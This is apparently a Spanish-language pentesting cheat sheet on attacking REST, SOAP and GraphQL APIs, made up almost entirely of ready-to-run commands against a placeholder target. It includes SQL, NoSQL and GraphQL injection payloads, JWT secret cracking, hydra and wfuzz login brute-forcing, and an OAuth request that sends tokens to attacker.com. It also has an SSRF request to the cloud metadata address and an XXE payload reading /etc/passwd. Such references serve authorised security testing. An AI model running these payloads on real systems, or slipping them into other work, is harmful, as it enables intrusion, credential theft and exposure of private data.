Page cover

💻API Hacking

En esta sección veremos comandos y técnicas para evaluar la seguridad de APIs (REST, SOAP, GraphQL).

Reconocimiento inicial

Identificación de endpoints

# Wayback Machine para históricos
curl "http://web.archive.org/cdx/search/cdx?url=target.com/api/*&output=json"

# FFuF para fuzzing de endpoints
ffuf -w wordlist.txt -u https://target.com/api/FUZZ -mc 200 -t 50

# Param Miner para parámetros ocultos
python3 parameth.py -u "https://target.com/api/v1/user"

Documentación de API

# Buscar Swagger/OpenAPI
curl -s https://target.com/api/v1/swagger.json | jq
curl -s https://target.com/api-docs/ | grep -E 'swagger|openapi'

Autenticación y Autorización

Pruebas de JWT

# Decodificar JWT
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" | jwt decode -

# Ataque de fuerza bruta a secreto JWT
hashcat -m 16500 jwt.txt wordlist.txt

OAuth Testing

# Probar parámetros OAuth
curl -X POST "https://target.com/oauth/token?client_id=CLIENT_ID&redirect_uri=https://attacker.com&response_type=token"

Inyección y manipulación de datos

SQL Injection

# Pruebas básicas
curl -X GET "https://target.com/api/users?id=1'"
curl -X GET "https://target.com/api/users?id=1' OR '1'='1'--"

# Usando SQLmap
sqlmap -u "https://target.com/api/users?id=1" --risk=3 --level=5

NoSQL Injection

# MongoDB
curl -X POST https://target.com/api/login -H "Content-Type: application/json" -d '{"user":{"$ne":null},"pass":{"$ne":null}}'

# GraphQL
curl -X POST https://target.com/graphql -H "Content-Type: application/json" -d '{"query":"{users(search:\"admin' OR 1=1 --\"){id username}}"}'

Manejo de datos sensibles

Búsqueda de información expuesta

# En endpoints
curl -s https://target.com/api/v1/users | jq '.[] | select(.email != null)'

# En caché
curl -X PURGE https://target.com/api/v1/users/123

Rate Limiting

Pruebas de fuerza bruta

# Con hydra
hydra -L users.txt -P passwords.txt target.com http-post-form "/api/login:username=^USER^&password=^PASS^:F=incorrect"

# Con wfuzz
wfuzz -z file,users.txt -z file,passwords.txt -d "username=FUZZ&password=FUZ2Z" https://target.com/api/login

SSRF (Server Side Request Forgery)

Pruebas básicas

curl -X POST https://target.com/api/fetch -H "Content-Type: application/json" -d '{"url":"http://169.254.169.254/latest/meta-data/"}'

XML External Entity (XXE)

Pruebas en APIs SOAP

curl -X POST https://target.com/soap-api -H "Content-Type: text/xml" -d '<?xml version="1.0"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><foo>&xxe;</foo>'

Herramientas especializadas

Postman/Newman

# Colección de pruebas
newman run api_security_tests.json --env-var "baseUrl=https://target.com/api"

OWASP ZAP

# Escaneo básico
zap-cli quick-scan -s all https://target.com/api/v1

Burp Suite

# Usando Turbo Intruder
python3 turbo-intruder-all.py targets.txt params.txt

Automatización

Nuclei templates

nuclei -u https://target.com/api -t /path/to/api-templates

Custom scripts

import requests

for endpoint in open('endpoints.txt'):
    r = requests.get(f"https://target.com{endpoint.strip()}")
    if 'password' in r.text.lower():
        print(f"Possible sensitive data in {endpoint}")

Relacionado

🕸️IDOR en APIs Inseguras

Última actualización

¿Te fue útil?